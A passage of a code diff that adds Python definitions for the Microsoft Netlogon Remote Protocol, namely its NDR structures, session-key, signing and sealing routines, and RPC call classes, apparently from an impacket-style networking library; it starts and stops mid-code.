+        NETLOGON_DELTA_TYPE.DeleteLsaAccount      : ('Sid', PRPC_SID),
+        NETLOGON_DELTA_TYPE.AddOrChangeLsaSecret  : ('Name', LPWSTR),
+        NETLOGON_DELTA_TYPE.DeleteLsaSecret       : ('Name', LPWSTR),
+    }
+
+# 2.2.1.5.11 NETLOGON_DELTA_ENUM
+class NETLOGON_DELTA_ENUM(NDRSTRUCT):
+    structure = (
+        ('DeltaType', NETLOGON_DELTA_TYPE),
+        ('DeltaID', NETLOGON_DELTA_ID_UNION),
+        ('DeltaUnion', NETLOGON_DELTA_UNION),
+    )
+
+# 2.2.1.5.12 NETLOGON_DELTA_ENUM_ARRAY
+class NETLOGON_DELTA_ENUM_ARRAY_ARRAY(NDRUniConformantArray):
+    item = NETLOGON_DELTA_ENUM
+
+class PNETLOGON_DELTA_ENUM_ARRAY_ARRAY(NDRSTRUCT):
+    referent = (
+        ('Data', NETLOGON_DELTA_ENUM_ARRAY_ARRAY),
+    )
+
+class PNETLOGON_DELTA_ENUM_ARRAY(NDRPOINTER):
+    structure = (
+        ('CountReturned', DWORD),
+        ('Deltas', PNETLOGON_DELTA_ENUM_ARRAY_ARRAY),
+    )
+
+# 2.2.1.5.29 SYNC_STATE
+class SYNC_STATE(NDRENUM):
+    class enumItems(Enum):
+        NormalState          = 0
+        DomainState          = 1
+        GroupState           = 2
+        UasBuiltInGroupState = 3
+        UserState            = 4
+        GroupMemberState     = 5
+        AliasState           = 6
+        AliasMemberState     = 7
+        SamDoneState         = 8
+
+# 2.2.1.6.1 DOMAIN_NAME_BUFFER
+class DOMAIN_NAME_BUFFER(NDRSTRUCT):
+    structure = (
+        ('DomainNameByteCount', ULONG),
+        ('DomainNames', PUCHAR_ARRAY),
+    )
+
+# 2.2.1.6.2 DS_DOMAIN_TRUSTSW
+class DS_DOMAIN_TRUSTSW(NDRSTRUCT):
+    structure = (
+        ('NetbiosDomainName', LPWSTR),
+        ('DnsDomainName', LPWSTR),
+        ('Flags', ULONG),
+        ('ParentIndex', ULONG),
+        ('TrustType', ULONG),
+        ('TrustAttributes', ULONG),
+        ('DomainSid', PRPC_SID),
+        ('DomainGuid', GUID),
+    )
+
+# 2.2.1.6.3 NETLOGON_TRUSTED_DOMAIN_ARRAY
+class DS_DOMAIN_TRUSTSW_ARRAY(NDRUniConformantArray):
+    item = DS_DOMAIN_TRUSTSW
+
+class PDS_DOMAIN_TRUSTSW_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DS_DOMAIN_TRUSTSW_ARRAY),
+    )
+
+class NETLOGON_TRUSTED_DOMAIN_ARRAY(NDRSTRUCT):
+    structure = (
+        ('DomainCount', DWORD),
+        ('Domains', PDS_DOMAIN_TRUSTSW_ARRAY),
+    )
+
+# 2.2.1.6.4 NL_GENERIC_RPC_DATA
+class NL_GENERIC_RPC_DATA(NDRSTRUCT):
+    structure = (
+        ('UlongEntryCount', ULONG),
+        ('UlongData', PULONG_ARRAY),
+        ('UnicodeStringEntryCount', ULONG),
+        ('UnicodeStringData', PRPC_UNICODE_STRING_ARRAY),
+    )
+
+class PNL_GENERIC_RPC_DATA(NDRPOINTER):
+    referent = (
+        ('Data', NL_GENERIC_RPC_DATA),
+    )
+
+# 2.2.1.7.1 NETLOGON_CONTROL_DATA_INFORMATION
+class NETLOGON_CONTROL_DATA_INFORMATION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        5 : ('TrustedDomainName', LPWSTR),
+        6 : ('TrustedDomainName', LPWSTR),
+        9 : ('TrustedDomainName', LPWSTR),
+        10 : ('TrustedDomainName', LPWSTR),
+        65534 : ('DebugFlag', DWORD),
+        8: ('UserName', LPWSTR),
+    }
+
+# 2.2.1.7.2 NETLOGON_INFO_1
+class NETLOGON_INFO_1(NDRSTRUCT):
+    structure = (
+        ('netlog1_flags', DWORD),
+        ('netlog1_pdc_connection_status', NET_API_STATUS),
+    )
+
+class PNETLOGON_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_INFO_1),
+    )
+
+# 2.2.1.7.3 NETLOGON_INFO_2
+class NETLOGON_INFO_2(NDRSTRUCT):
+    structure = (
+        ('netlog2_flags', DWORD),
+        ('netlog2_pdc_connection_status', NET_API_STATUS),
+        ('netlog2_trusted_dc_name', LPWSTR),
+        ('netlog2_tc_connection_status', NET_API_STATUS),
+    )
+
+class PNETLOGON_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_INFO_2),
+    )
+
+# 2.2.1.7.4 NETLOGON_INFO_3
+class NETLOGON_INFO_3(NDRSTRUCT):
+    structure = (
+        ('netlog3_flags', DWORD),
+        ('netlog3_logon_attempts', DWORD),
+        ('netlog3_reserved1', DWORD),
+        ('netlog3_reserved2', DWORD),
+        ('netlog3_reserved3', DWORD),
+        ('netlog3_reserved4', DWORD),
+        ('netlog3_reserved5', DWORD),
+    )
+
+class PNETLOGON_INFO_3(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_INFO_3),
+    )
+
+# 2.2.1.7.5 NETLOGON_INFO_4
+class NETLOGON_INFO_4(NDRSTRUCT):
+    structure = (
+        ('netlog4_trusted_dc_name', LPWSTR),
+        ('netlog4_trusted_domain_name', LPWSTR),
+    )
+
+class PNETLOGON_INFO_4(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_INFO_4),
+    )
+
+# 2.2.1.7.6 NETLOGON_CONTROL_QUERY_INFORMATION
+class NETLOGON_CONTROL_QUERY_INFORMATION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        1 : ('NetlogonInfo1', PNETLOGON_INFO_1),
+        2 : ('NetlogonInfo2', PNETLOGON_INFO_2),
+        3 : ('NetlogonInfo3', PNETLOGON_INFO_3),
+        4 : ('NetlogonInfo4', PNETLOGON_INFO_4),
+    }
+
+# 2.2.1.8.1 NETLOGON_VALIDATION_UAS_INFO
+class NETLOGON_VALIDATION_UAS_INFO(NDRSTRUCT):
+    structure = (
+        ('usrlog1_eff_name', DWORD),
+        ('usrlog1_priv', DWORD),
+        ('usrlog1_auth_flags', DWORD),
+        ('usrlog1_num_logons', DWORD),
+        ('usrlog1_bad_pw_count', DWORD),
+        ('usrlog1_last_logon', DWORD),
+        ('usrlog1_last_logoff', DWORD),
+        ('usrlog1_logoff_time', DWORD),
+        ('usrlog1_kickoff_time', DWORD),
+        ('usrlog1_password_age', DWORD),
+        ('usrlog1_pw_can_change', DWORD),
+        ('usrlog1_pw_must_change', DWORD),
+        ('usrlog1_computer', LPWSTR),
+        ('usrlog1_domain', LPWSTR),
+        ('usrlog1_script_path', LPWSTR),
+        ('usrlog1_reserved1', DWORD),
+    )
+
+class PNETLOGON_VALIDATION_UAS_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_VALIDATION_UAS_INFO),
+    )
+
+# 2.2.1.8.2 NETLOGON_LOGOFF_UAS_INFO
+class NETLOGON_LOGOFF_UAS_INFO(NDRSTRUCT):
+    structure = (
+        ('Duration', DWORD),
+        ('LogonCount', USHORT),
+    )
+
+# 2.2.1.8.3 UAS_INFO_0
+class UAS_INFO_0(NDRSTRUCT):
+    structure = (
+        ('ComputerName', '16s=""'),
+        ('TimeCreated', ULONG),
+        ('SerialNumber', ULONG),
+    )
+    def getAlignment(self):
+        return 4
+
+# 2.2.1.8.4 NETLOGON_DUMMY1
+class NETLOGON_DUMMY1(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        1 : ('Dummy', ULONG),
+    }
+
+# 3.5.4.8.2 NetrLogonComputeServerDigest (Opnum 24)
+class CHAR_FIXED_16_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return 16
+
+
+################################################################################
+# SSPI
+################################################################################
+# Constants
+NL_AUTH_MESSAGE_NETBIOS_DOMAIN        = 0x1
+NL_AUTH_MESSAGE_NETBIOS_HOST          = 0x2
+NL_AUTH_MESSAGE_DNS_DOMAIN            = 0x4
+NL_AUTH_MESSAGE_DNS_HOST              = 0x8
+NL_AUTH_MESSAGE_NETBIOS_HOST_UTF8     = 0x10
+
+NL_AUTH_MESSAGE_REQUEST               = 0x0
+NL_AUTH_MESSAGE_RESPONSE              = 0x1
+
+NL_SIGNATURE_HMAC_MD5    = 0x77
+NL_SIGNATURE_HMAC_SHA256 = 0x13
+NL_SEAL_NOT_ENCRYPTED    = 0xffff
+NL_SEAL_RC4              = 0x7A
+NL_SEAL_AES128           = 0x1A
+
+# Structures
+class NL_AUTH_MESSAGE(Structure):
+    structure = (
+        ('MessageType','<L=0'),
+        ('Flags','<L=0'),
+        ('Buffer',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        if data is None:
+            self['Buffer'] = b'\x00'*4
+
+class NL_AUTH_SIGNATURE(Structure):
+    structure = (
+        ('SignatureAlgorithm','<H=0'),
+        ('SealAlgorithm','<H=0'),
+        ('Pad','<H=0xffff'),
+        ('Flags','<H=0'),
+        ('SequenceNumber','8s=""'),
+        ('Checksum','8s=""'),
+        ('_Confounder','_-Confounder','8'),
+        ('Confounder',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        if data is None:
+            self['Confounder'] = ''
+
+class NL_AUTH_SHA2_SIGNATURE(Structure):
+    structure = (
+        ('SignatureAlgorithm','<H=0'),
+        ('SealAlgorithm','<H=0'),
+        ('Pad','<H=0xffff'),
+        ('Flags','<H=0'),
+        ('SequenceNumber','8s=""'),
+        ('Checksum','32s=""'),
+        ('_Confounder','_-Confounder','8'),
+        ('Confounder',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        if data is None:
+            self['Confounder'] = ''
+
+# Section 3.1.4.4.2
+def ComputeNetlogonCredential(inputData, Sk):
+    k1 = Sk[:7]
+    k3 = crypto.transformKey(k1)
+    k2 = Sk[7:14]
+    k4 = crypto.transformKey(k2)
+    Crypt1 = DES.new(k3, DES.MODE_ECB)
+    Crypt2 = DES.new(k4, DES.MODE_ECB)
+    cipherText = Crypt1.encrypt(inputData)
+    return Crypt2.encrypt(cipherText)
+
+# Section 3.1.4.4.1
+def ComputeNetlogonCredentialAES(inputData, Sk):
+    IV=b'\x00'*16
+    Crypt1 = AES.new(Sk, AES.MODE_CFB, IV)
+    return Crypt1.encrypt(inputData)
+
+# Section 3.1.4.3.1
+def ComputeSessionKeyAES(sharedSecret, clientChallenge, serverChallenge, sharedSecretHash = None):
+    # added the ability to receive hashes already
+    if sharedSecretHash is None:
+        M4SS = ntlm.NTOWFv1(sharedSecret)
+    else:
+        M4SS = sharedSecretHash
+
+    hm = hmac.new(key=M4SS, digestmod=hashlib.sha256)
+    hm.update(clientChallenge)
+    hm.update(serverChallenge)
+    sessionKey = hm.digest()
+
+    return sessionKey[:16]
+
+# 3.1.4.3.2 Strong-key Session-Key
+def ComputeSessionKeyStrongKey(sharedSecret, clientChallenge, serverChallenge, sharedSecretHash = None):
+    # added the ability to receive hashes already
+
+    if sharedSecretHash is None:
+        M4SS = ntlm.NTOWFv1(sharedSecret)
+    else:
+        M4SS = sharedSecretHash
+
+    md5 = hashlib.new('md5')
+    md5.update(b'\x00'*4)
+    md5.update(clientChallenge)
+    md5.update(serverChallenge)
+    finalMD5 = md5.digest()
+    hm = hmac.new(M4SS, digestmod=hashlib.md5)
+    hm.update(finalMD5)
+    return hm.digest()
+
+def deriveSequenceNumber(sequenceNum):
+    sequenceLow = sequenceNum & 0xffffffff
+    sequenceHigh = (sequenceNum >> 32) & 0xffffffff
+    sequenceHigh |= 0x80000000
+
+    res = pack('>L', sequenceLow)
+    res += pack('>L', sequenceHigh)
+    return res
+
+def ComputeNetlogonSignatureAES(authSignature, message, confounder, sessionKey):
+    # [MS-NRPC] Section 3.3.4.2.1, point 7
+    hm = hmac.new(key=sessionKey, digestmod=hashlib.sha256)
+    hm.update(authSignature.getData()[:8])
+    # If no confidentiality requested, it should be ''
+    hm.update(confounder)
+    hm.update(bytes(message))
+    return hm.digest()[:8]+'\x00'*24
+
+def ComputeNetlogonSignatureMD5(authSignature, message, confounder, sessionKey):
+    # [MS-NRPC] Section 3.3.4.2.1, point 7
+    md5 = hashlib.new('md5')
+    md5.update(b'\x00'*4)
+    md5.update(authSignature.getData()[:8])
+    # If no confidentiality requested, it should be ''
+    md5.update(confounder)
+    md5.update(bytes(message))
+    finalMD5 = md5.digest()
+    hm = hmac.new(sessionKey, digestmod=hashlib.md5)
+    hm.update(finalMD5)
+    return hm.digest()[:8]
+
+def ComputeNetlogonAuthenticator(clientStoredCredential, sessionKey):
+    # [MS-NRPC] Section 3.1.4.5
+    timestamp = int(time.time())
+
+    authenticator = NETLOGON_AUTHENTICATOR()
+    authenticator['Timestamp'] = timestamp
+
+    credential = unpack('<I', clientStoredCredential[:4])[0] + timestamp
+    if credential > 0xffffffff:
+        credential &= 0xffffffff
+    credential = pack('<I', credential)
+
+    authenticator['Credential'] = ComputeNetlogonCredential(credential + clientStoredCredential[4:], sessionKey)
+    return authenticator
+
+def encryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey):
+    # [MS-NRPC] Section 3.3.4.2.1, point 9
+
+    hm = hmac.new(sessionKey, digestmod=hashlib.md5)
+    hm.update(b'\x00'*4)
+    hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5)
+    hm2.update(checkSum)
+    encryptionKey = hm2.digest()
+
+    cipher = ARC4.new(encryptionKey)
+    return cipher.encrypt(sequenceNum)
+
+def decryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey):
+    # [MS-NRPC] Section 3.3.4.2.2, point 5
+
+    return encryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey)
+
+def encryptSequenceNumberAES(sequenceNum, checkSum, sessionKey):
+    # [MS-NRPC] Section 3.3.4.2.1, point 9
+    IV = checkSum[:8] + checkSum[:8]
+    Cipher = AES.new(sessionKey, AES.MODE_CFB, IV)
+    return Cipher.encrypt(sequenceNum)
+
+def decryptSequenceNumberAES(sequenceNum, checkSum, sessionKey):
+    # [MS-NRPC] Section 3.3.4.2.1, point 9
+    IV = checkSum[:8] + checkSum[:8]
+    Cipher = AES.new(sessionKey, AES.MODE_CFB, IV)
+    return Cipher.decrypt(sequenceNum)
+
+def SIGN(data, confounder, sequenceNum, key, aes = False):
+    if aes is False:
+        signature = NL_AUTH_SIGNATURE()
+        signature['SignatureAlgorithm'] = NL_SIGNATURE_HMAC_MD5
+        if confounder == '':
+            signature['SealAlgorithm'] = NL_SEAL_NOT_ENCRYPTED
+        else:
+            signature['SealAlgorithm'] = NL_SEAL_RC4
+        signature['Checksum'] = ComputeNetlogonSignatureMD5(signature, data, confounder, key)
+        signature['SequenceNumber'] = encryptSequenceNumberRC4(deriveSequenceNumber(sequenceNum), signature['Checksum'], key)
+        return signature
+    else:
+        signature = NL_AUTH_SIGNATURE()
+        signature['SignatureAlgorithm'] = NL_SIGNATURE_HMAC_SHA256
+        if confounder == '':
+            signature['SealAlgorithm'] = NL_SEAL_NOT_ENCRYPTED
+        else:
+            signature['SealAlgorithm'] = NL_SEAL_AES128
+        signature['Checksum'] = ComputeNetlogonSignatureAES(signature, data, confounder, key)
+        signature['SequenceNumber'] = encryptSequenceNumberAES(deriveSequenceNumber(sequenceNum), signature['Checksum'], key)
+        return signature
+
+def SEAL(data, confounder, sequenceNum, key, aes = False):
+    signature = SIGN(data, confounder, sequenceNum, key, aes)
+    sequenceNum = deriveSequenceNumber(sequenceNum)
+
+    XorKey = bytearray(key)
+    for i in range(len(XorKey)):
+        XorKey[i] = XorKey[i] ^ 0xf0
+
+    XorKey = bytes(XorKey)
+
+    if aes is False:
+        hm = hmac.new(XorKey, digestmod=hashlib.md5)
+        hm.update(b'\x00'*4)
+        hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5)
+        hm2.update(sequenceNum)
+        encryptionKey = hm2.digest()
+
+        cipher = ARC4.new(encryptionKey)
+        cfounder = cipher.encrypt(confounder)
+        cipher = ARC4.new(encryptionKey)
+        encrypted = cipher.encrypt(data)
+
+        signature['Confounder'] = cfounder
+
+        return encrypted, signature
+    else:
+        IV = sequenceNum + sequenceNum
+        cipher = AES.new(XorKey, AES.MODE_CFB, IV)
+        cfounder = cipher.encrypt(confounder)
+        encrypted = cipher.encrypt(data)
+
+        signature['Confounder'] = cfounder
+
+        return encrypted, signature
+
+def UNSEAL(data, auth_data, key, aes = False):
+    auth_data = NL_AUTH_SIGNATURE(auth_data)
+    XorKey = bytearray(key)
+    for i in range(len(XorKey)):
+        XorKey[i] = XorKey[i] ^ 0xf0
+
+    XorKey = bytes(XorKey)
+
+    if aes is False:
+        sequenceNum = decryptSequenceNumberRC4(auth_data['SequenceNumber'], auth_data['Checksum'],  key)
+        hm = hmac.new(XorKey, digestmod=hashlib.md5)
+        hm.update(b'\x00'*4)
+        hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5)
+        hm2.update(sequenceNum)
+        encryptionKey = hm2.digest()
+
+        cipher = ARC4.new(encryptionKey)
+        cfounder = cipher.encrypt(auth_data['Confounder'])
+        cipher = ARC4.new(encryptionKey)
+        plain = cipher.encrypt(data)
+
+        return plain, cfounder
+    else:
+        sequenceNum = decryptSequenceNumberAES(auth_data['SequenceNumber'], auth_data['Checksum'],  key)
+        IV = sequenceNum + sequenceNum
+        cipher = AES.new(XorKey, AES.MODE_CFB, IV)
+        cfounder = cipher.decrypt(auth_data['Confounder'])
+        plain = cipher.decrypt(data)
+        return plain, cfounder
+
+
+def getSSPType1(workstation='', domain='', signingRequired=False):
+    auth = NL_AUTH_MESSAGE()
+    auth['Flags'] = 0
+    auth['Buffer'] = b''
+    auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_DOMAIN
+    if domain != '':
+        auth['Buffer'] = auth['Buffer'] + b(domain) + b'\x00'
+    else:
+        auth['Buffer'] += b'WORKGROUP\x00'
+
+    auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST
+
+    if workstation != '':
+        auth['Buffer'] = auth['Buffer'] + b(workstation) + b'\x00'
+    else:
+        auth['Buffer'] += b'MYHOST\x00'
+
+    auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST_UTF8
+
+    if workstation != '':
+        auth['Buffer'] += pack('<B',len(workstation)) + b(workstation) + b'\x00'
+    else:
+        auth['Buffer'] += b'\x06MYHOST\x00'
+
+    return auth
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.5.4.3.1 DsrGetDcNameEx2 (Opnum 34)
+class DsrGetDcNameEx2(NDRCALL):
+    opnum = 34
+    structure = (
+       ('ComputerName',PLOGONSRV_HANDLE),
+       ('AccountName', LPWSTR),
+       ('AllowableAccountControlBits', ULONG),
+       ('DomainName',LPWSTR),
+       ('DomainGuid',PGUID),
+       ('SiteName',LPWSTR),
+       ('Flags',ULONG),
+    )
+
+class DsrGetDcNameEx2Response(NDRCALL):
+    structure = (
+       ('DomainControllerInfo',PDOMAIN_CONTROLLER_INFOW),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.2 DsrGetDcNameEx (Opnum 27)
+class DsrGetDcNameEx(NDRCALL):
+    opnum = 27
+    structure = (
+       ('ComputerName',PLOGONSRV_HANDLE),
+       ('DomainName',LPWSTR),
+       ('DomainGuid',PGUID),
+       ('SiteName',LPWSTR),
+       ('Flags',ULONG),
+    )
+
+class DsrGetDcNameExResponse(NDRCALL):
+    structure = (
+       ('DomainControllerInfo',PDOMAIN_CONTROLLER_INFOW),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.3 DsrGetDcName (Opnum 20)
+class DsrGetDcName(NDRCALL):
+    opnum = 20
+    structure = (
+       ('ComputerName',PLOGONSRV_HANDLE),
+       ('DomainName',LPWSTR),
+       ('DomainGuid',PGUID),
+       ('SiteGuid',PGUID),
+       ('Flags',ULONG),
+    )
+
+class DsrGetDcNameResponse(NDRCALL):
+    structure = (
+       ('DomainControllerInfo',PDOMAIN_CONTROLLER_INFOW),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.4 NetrGetDCName (Opnum 11)
+class NetrGetDCName(NDRCALL):
+    opnum = 11
+    structure = (
+       ('ServerName',LOGONSRV_HANDLE),
+       ('DomainName',LPWSTR),
+    )
+
+class NetrGetDCNameResponse(NDRCALL):
+    structure = (
+       ('Buffer',LPWSTR),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.5 NetrGetAnyDCName (Opnum 13)
+class NetrGetAnyDCName(NDRCALL):
+    opnum = 13
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('DomainName',LPWSTR),
+    )
+
+class NetrGetAnyDCNameResponse(NDRCALL):
+    structure = (
+       ('Buffer',LPWSTR),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.6 DsrGetSiteName (Opnum 28)
+class DsrGetSiteName(NDRCALL):
+    opnum = 28
+    structure = (
+       ('ComputerName',PLOGONSRV_HANDLE),
+    )
+
+class DsrGetSiteNameResponse(NDRCALL):
+    structure = (
+       ('SiteName',LPWSTR),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.7 DsrGetDcSiteCoverageW (Opnum 38)
+class DsrGetDcSiteCoverageW(NDRCALL):
+    opnum = 38
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+    )
+
+class DsrGetDcSiteCoverageWResponse(NDRCALL):
+    structure = (
+       ('SiteNames',PNL_SITE_NAME_ARRAY),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.8 DsrAddressToSiteNamesW (Opnum 33)
+class DsrAddressToSiteNamesW(NDRCALL):
+    opnum = 33
+    structure = (
+       ('ComputerName',PLOGONSRV_HANDLE),
+       ('EntryCount',ULONG),
+       ('SocketAddresses',NL_SOCKET_ADDRESS_ARRAY),
+    )
+
+class DsrAddressToSiteNamesWResponse(NDRCALL):
+    structure = (
+       ('SiteNames',PNL_SITE_NAME_ARRAY),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.9 DsrAddressToSiteNamesExW (Opnum 37)
+class DsrAddressToSiteNamesExW(NDRCALL):
+    opnum = 37
+    structure = (
+       ('ComputerName',PLOGONSRV_HANDLE),
+       ('EntryCount',ULONG),
+       ('SocketAddresses',NL_SOCKET_ADDRESS_ARRAY),
+    )
+
+class DsrAddressToSiteNamesExWResponse(NDRCALL):
+    structure = (
+       ('SiteNames',PNL_SITE_NAME_EX_ARRAY),
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.10 DsrDeregisterDnsHostRecords (Opnum 41)
+class DsrDeregisterDnsHostRecords(NDRCALL):
+    opnum = 41
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('DnsDomainName',LPWSTR),
+       ('DomainGuid',PGUID),
+       ('DsaGuid',PGUID),
+       ('DnsHostName',WSTR),
+    )
+
+class DsrDeregisterDnsHostRecordsResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',NET_API_STATUS),
+    )
+
+# 3.5.4.3.11 DSRUpdateReadOnlyServerDnsRecords (Opnum 48)
+class DSRUpdateReadOnlyServerDnsRecords(NDRCALL):
+    opnum = 48
+    structure = (
+       ('ServerName',PLOGONSRV_HANDLE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('SiteName',LPWSTR),
+       ('DnsTtl',ULONG),
+       ('DnsNames',NL_DNS_NAME_INFO_ARRAY),
+    )
+
+class DSRUpdateReadOnlyServerDnsRecordsResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('DnsNames',NL_DNS_NAME_INFO_ARRAY),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.1 NetrServerReqChallenge (Opnum 4)
+class NetrServerReqChallenge(NDRCALL):
+    opnum = 4
+    structure = (
+       ('PrimaryName',PLOGONSRV_HANDLE),
+       ('ComputerName',WSTR),
+       ('ClientChallenge',NETLOGON_CREDENTIAL),
+    )
+
+class NetrServerReqChallengeResponse(NDRCALL):
+    structure = (
+       ('ServerChallenge',NETLOGON_CREDENTIAL),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.2 NetrServerAuthenticate3 (Opnum 26)
+class NetrServerAuthenticate3(NDRCALL):
+    opnum = 26
+    structure = (
+       ('PrimaryName',PLOGONSRV_HANDLE),
+       ('AccountName',WSTR),
+       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),
+       ('ComputerName',WSTR),
+       ('ClientCredential',NETLOGON_CREDENTIAL),
+       ('NegotiateFlags',ULONG),
+    )
+
+class NetrServerAuthenticate3Response(NDRCALL):
+    structure = (
+       ('ServerCredential',NETLOGON_CREDENTIAL),
+       ('NegotiateFlags',ULONG),
+       ('AccountRid',ULONG),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.3 NetrServerAuthenticate2 (Opnum 15)
+class NetrServerAuthenticate2(NDRCALL):
+    opnum = 15
+    structure = (
+       ('PrimaryName',PLOGONSRV_HANDLE),
+       ('AccountName',WSTR),
+       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),
+       ('ComputerName',WSTR),
+       ('ClientCredential',NETLOGON_CREDENTIAL),
+       ('NegotiateFlags',ULONG),
+    )
+
+class NetrServerAuthenticate2Response(NDRCALL):
+    structure = (
+       ('ServerCredential',NETLOGON_CREDENTIAL),
+       ('NegotiateFlags',ULONG),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.4 NetrServerAuthenticate (Opnum 5)
+class NetrServerAuthenticate(NDRCALL):
+    opnum = 5
+    structure = (
+       ('PrimaryName',PLOGONSRV_HANDLE),
+       ('AccountName',WSTR),
+       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),
+       ('ComputerName',WSTR),
+       ('ClientCredential',NETLOGON_CREDENTIAL),
+    )
+
+class NetrServerAuthenticateResponse(NDRCALL):
+    structure = (
+       ('ServerCredential',NETLOGON_CREDENTIAL),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.5 NetrServerPasswordSet2 (Opnum 30)
+class NetrServerPasswordSet2(NDRCALL):
+    opnum = 30
+    structure = (
+       ('PrimaryName',PLOGONSRV_HANDLE),
+       ('AccountName',WSTR),
+       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       #('ClearNewPassword',NL_TRUST_PASSWORD),
+       ('ClearNewPassword',NL_TRUST_PASSWORD_FIXED_ARRAY),
+    )
+
+class NetrServerPasswordSet2Response(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
+
+# 3.5.4.4.7 NetrServerPasswordGet (Opnum 31)
+class NetrServerPasswordGet(NDRCALL):
+    opnum = 31
+    structure = (
+       ('PrimaryName',PLOGONSRV_HANDLE),
+       ('AccountName',WSTR),
+       ('AccountType',NETLOGON_SECURE_CHANNEL_TYPE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+    )
+
+class NetrServerPasswordGetResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('EncryptedNtOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.8 NetrServerTrustPasswordsGet (Opnum 42)
+class NetrServerTrustPasswordsGet(NDRCALL):
+    opnum = 42
+    structure = (
+       ('TrustedDcName',PLOGONSRV_HANDLE),
+       ('AccountName',WSTR),
+       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),
+       ('ComputerName',WSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+    )
+
+class NetrServerTrustPasswordsGetResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('EncryptedNewOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),
+       ('EncryptedOldOwfPassword',ENCRYPTED_NT_OWF_PASSWORD),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.9 NetrLogonGetDomainInfo (Opnum 29)
+class NetrLogonGetDomainInfo(NDRCALL):
+    opnum = 29
+    structure = (
+       ('ServerName',LOGONSRV_HANDLE),
+       ('ComputerName',LPWSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('Level',DWORD),
+       ('WkstaBuffer',NETLOGON_WORKSTATION_INFORMATION),
+    )
+
+class NetrLogonGetDomainInfoResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('DomBuffer',NETLOGON_DOMAIN_INFORMATION),
+       ('ErrorCode',NTSTATUS),
+    )
+
+# 3.5.4.4.10 NetrLogonGetCapabilities (Opnum 21)
+class NetrLogonGetCapabilities(NDRCALL):
+    opnum = 21
+    structure = (
+       ('ServerName',LOGONSRV_HANDLE),
+       ('ComputerName',LPWSTR),
+       ('Authenticator',NETLOGON_AUTHENTICATOR),
+       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),
+       ('QueryLevel',DWORD),
+    )
+
+class NetrLogonGetCapabilitiesResponse(NDRCALL):
+    structure = (
